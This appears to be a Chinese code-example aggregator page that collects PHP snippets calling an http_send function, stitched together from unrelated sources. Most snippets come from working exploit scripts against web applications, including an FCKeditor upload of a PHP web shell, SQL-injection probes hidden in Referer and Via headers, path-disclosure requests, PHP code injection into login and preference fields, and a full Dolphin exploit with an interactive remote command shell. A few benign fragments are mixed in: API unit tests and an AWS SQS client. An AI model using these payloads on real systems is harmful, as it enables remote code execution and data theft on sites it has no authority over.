PHP http_send函数代码示例

function upload()
{
    global $host, $path;
    $connector = "/admin/include/FCKeditor/editor/filemanager/browser/mcpuk/connectors/php/config.php";
    $file_ext = array("zip", "swf", "fla", "doc", "xls", "rtf", "csv");
    foreach ($file_ext as $ext) {
        print "\n[-] Trying to upload with .{$ext} extension...";
        $data = "--12345\r\n";
        $data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"sh.php.{$ext}\"\r\n";
        $data .= "Content-Type: application/octet-stream\r\n\r\n";
        $data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n";
        $data .= "--12345--\r\n";
        $packet = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n";
        $packet .= "Host: {$host}\r\n";
        $packet .= "Content-Length: " . strlen($data) . "\r\n";
        $packet .= "Content-Type: multipart/form-data; boundary=12345\r\n";
        $packet .= "Connection: close\r\n\r\n";
        $packet .= $data;
        preg_match("/OnUploadCompleted\\((.*),'(.*)'\\)/i", http_send($host, $packet), $html);
        if (!in_array(intval($html[1]), array(0, 201))) {
            die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n");
        }
        $packet = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n";
        $packet .= "Host: {$host}\r\n";
        $packet .= "Connection: close\r\n\r\n";
        $html = http_send($host, $packet);
        if (!eregi("print", $html) and eregi("_code_", $html)) {
            return $ext;
        }
        sleep(1);
    }
    return false;
}

 protected function execute()
 {
     $post = "{\"ver\":\"2\",\"pd\":\"map\",\"im\":\"2\",\"os\":\"android\",\"datafile\":\"@\".dirname(__FILE__).\"/20130913100335_861133029533301_XOoGY2L6NDvVw_E3BUS2pe8lB2Lur+3aL7AaN8LHXakeM_2.dat\"}";
     $postParam = json_decode($post, true);
     $data = http_send("http://10.99.33.39:8202/ulog/public/up.php", $postParam);
     $res = "{\"errno\":0}";
     $this->assert_json(__LINE__, $data, $res);
 }

 protected function execute()
 {
     $post = "{\"ver\":\"2\",\"pd\":\"map\",\"im\":\"2\",\"os\":\"android\",\"datafile\":\"@/home/map/apps/servertest/lighttpd/htdocs/mysite/application/controllers/20130913100335_861133029533301_XOoGY2L6NDvVw_E3BUS2pe8lB2Lur+3aL7AaN8LHXakeM_2.dat\"}";
     $postParam = json_decode($post, true);
     $data = http_send("http://10.99.33.39:8202/ulog/public/up.php", $postParam);
     $res = "{\"errno\":0}";
     $this->assert_json(__LINE__, $data, $res);
 }

 protected function execute()
 {
     $post = "{\"ver\":\"2\",\"pd\":\"map\",\"im\":\"2\",\"os\":\"android\",\"datafile\":\"@" . dirname(__FILE__) . "/20130913100335.dat\"}";
     $postParam = json_decode($post, true);
     $data = http_send("http://10.99.33.39:8202/ulog/public/up.php", $postParam);
     $res = "{\"errno\":0}";
     $this->assert_json(__LINE__, $data, $res);
 }

function check_query($sql)
{
    global $host, $path;
    $packet = "GET {$path} HTTP/1.1\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Referer: {$sql} \r\n";
    $packet .= "Keep-Alive: 300\r\n";
    $packet .= "Connection: keep-alive\r\n\r\n";
    $html = http_send($host, $packet);
    return preg_match("/DENIED/", $html) ? true : false;
}

function get_path()
{
    global $host, $path;
    $packet = "GET {$path}tiki-rss_error.php HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Connection: close\r\n\r\n";
    if (!preg_match('/in <b>(.*)tiki-rss/', http_send($host, $packet), $m)) {
        die("\n[-] Path not found!\n");
    }
    return $m[1];
}

function get_path()
{
    global $host, $path;
    $packet = "GET {$path}../doceboCore/class/class.conf_fw.php HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Connection: close\r\n\r\n";
    preg_match("/in <b>(.*)<\\/b> on/i", http_send($host, $packet), $found);
    $ret = substr($found[1], 0, strlen($found[1]) - strlen(strstr($found[1], "docebo")));
    $ret .= substr($path, 1);
    return $ret;
}

function sqs_client_enqueue($data, $config)
{
    $result = array();
    $err = '';
    $variables = array();
    $variables['Action'] = 'SendMessage';
    $variables['MessageBody'] = json_encode($data);
    $variables['Version'] = '2012-11-05';
    $parsed_url = parse_url($config['sqs_queue_url']);
    $headers = array();
    $headers['Host'] = strtolower($parsed_url['host']);
    $headers['X-Amz-Date'] = gmdate(DATE_FORMAT_ISO8601_BASIC);
    $signature = __sqs_client_version_four($config['aws_secret_access_key'], $config['sqs_queue_url'], $variables, $headers, $config['s3_region'], 'post');
    $region = empty($config['sqs_region']) ? empty($config['s3_region']) ? 'us-east-1' : $config['s3_region'] : $config['sqs_region'];
    // fallback to same region as s3 bucket
    $date_str = substr($headers['X-Amz-Date'], 0, 8);
    $headers['Authorization'] = "AWS4-HMAC-SHA256 Credential={$config['aws_access_key_id']}/{$date_str}/{$region}/sqs/aws4_request, SignedHeaders=host;x-amz-date, Signature={$signature}";
    $post_result = http_send($config['sqs_queue_url'], $variables, $headers);
    $data = $post_result['result'];
    if ($data && $config['log_api_response']) {
        log_file("sqs response:\n" . print_r($data, 1), $config);
    }
    if ($post_result['error']) {
        $err = 'Could not make sqs request ' . $config['sqs_queue_url'] . ' ' . $post_result['error'];
    } else {
        if (!$data) {
            $err = 'Got no response from sqs request';
        } else {
            $xml = @simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOCDATA | LIBXML_NOENT);
            if (!is_object($xml)) {
                $err = 'Could not parse sqs response';
            } else {
                if (sizeof($xml->Error)) {
                    if (!$config['log_api_response']) {
                        log_file("sqs response:\n" . $data, $config);
                    }
                    $err = 'Got error in sqs response';
                } else {
                    if (!(is_object($xml->SendMessageResult) && is_object($xml->SendMessageResult->MessageId))) {
                        $err = 'Got no MessageId in sqs response';
                    } else {
                        $result['id'] = (string) $xml->SendMessageResult->MessageId;
                    }
                }
            }
        }
    }
    if ($err) {
        $result['error'] = $err;
    }
    return $result;
}

function check_query($sql)
{
    global $host, $path;
    $payload = "gb_name=null&gb_email=foo%40bar.com&task=insert";
    $packet = "POST {$path}index.php?option=guestbook HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Via: {$sql}\r\n";
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $packet .= "Content-Length: " . strlen($payload) . "\r\n";
    $packet .= "Connection: close\r\n\r\n";
    $packet .= $payload;
    return !preg_match("/UNION\\/\\*\\*\\/SELECT/", http_send($host, $packet));
}

function inject_code()
{
    global $host, $path;
    $code = "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${die} ?>";
    $payload = "p_user={$code}&p_pass=";
    $packet = "POST {$path}admin/index.php?action=login HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Content-Length: " . strlen($payload) . "\r\n";
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $packet .= "Connection: close\r\n\r\n";
    $packet .= $payload;
    http_send($host, $packet);
}

function inject_php()
{
    global $host, $path, $user, $pass;
    $data = "feed_order=\"]));}print('<<');passthru(base64_decode(\$_SERVER[HTTP_CMD]));print('>>');%23";
    $packet = "POST {$path}set-prefs.php HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Cookie: user_name={$user}; user_password_hash={$pass}\r\n";
    $packet .= "Content-Length: " . strlen($data) . "\r\n";
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $packet .= "Connection: close\r\n\r\n";
    $packet .= $data;
    if (preg_match("/login.php/", http_send($host, $packet))) {
        die("\n[-] Incorrect username or password!\n");
    }
}

function login()
{
    global $host, $path, $username, $password;
    $data = "user={$username}&pass={$password}&submit=1&request_uri=foo";
    $packet = "POST {$path}index.php?a=login HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Content-Length: " . strlen($data) . "\r\n";
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $packet .= "Connection: close\r\n\r\n";
    $packet .= $data;
    $pattern = "/pass=" . md5($password) . "/";
    return preg_match($pattern, http_send($host, $packet));
}

function check_target()
{
    global $host, $path, $prefix;
    print "\n[-] Checking {$host}...";
    $packet = "GET {$path}starnet/addons/slideshow_full.php?album_name=%27 HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Connection: close\r\n\r\n";
    if (preg_match("/FROM (.*)_m/", http_send($host, $packet), $match)) {
        print "vulnerable!\n";
    } else {
        die("not vulnerable!\n\n[-] Exploit failed...probably magic_quotes_gpc = on\n");
    }
    $prefix = $match[1];
}

function check_target()
{
    // see if MySQL version is >= 4.1 (subqueries support) or other error
    global $host, $path;
    print "\n[-] Checking {$host}...";
    $pck = "GET " . $path . "new_images.php?order=id,(SELECT/**/1) HTTP/1.1\r\n";
    $pck .= "Host: " . $host . "\r\n";
    $pck .= "Keep-Alive: 300\r\n";
    $pck .= "Connection: keep-alive\r\n\r\n";
    $buff = http_send($host, $pck);
    if (!strpos($buff, "The LinPHA developers")) {
        die("\n\n[-] Error... Probably wrong MySQL version!\n");
    } else {
        print " OK!\n";
    }
}

print "\n+------------------------------------------------------------+\n";
if ($argc < 5) {
    print "\nUsage......: php {$argv['0']} <host> <path> <username> <password>\n";
    print "\nExample....: php {$argv['0']} localhost / user pass";
    print "\nExample....: php {$argv['0']} localhost /dolphin/ user pass\n";
    die;
}
$host = $argv[1];
$path = $argv[2];
$payload = "ID={$argv[3]}&Password={$argv[4]}";
$packet = "POST {$path}member.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: " . strlen($payload) . "\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
if (!preg_match("/memberID=([0-9]+).*memberPassword=([0-9a-f]+)/is", http_send($host, $packet), $m)) {
    die("\n[-] Login failed!\n");
}
$phpcode = "1);error_reporting(0);passthru(base64_decode(\$_SERVER[HTTP_CMD])";
$packet = "GET {$path}member_menu_queries.php?action=get_bubbles_values&bubbles=Friends:{$phpcode} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: memberID={$m[1]}; memberPassword={$m[2]}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
while (1) {
    print "\ndolphin-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") {
        break;
    }
    preg_match("/\r\n\r\n(.*)\\{\"Friends/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}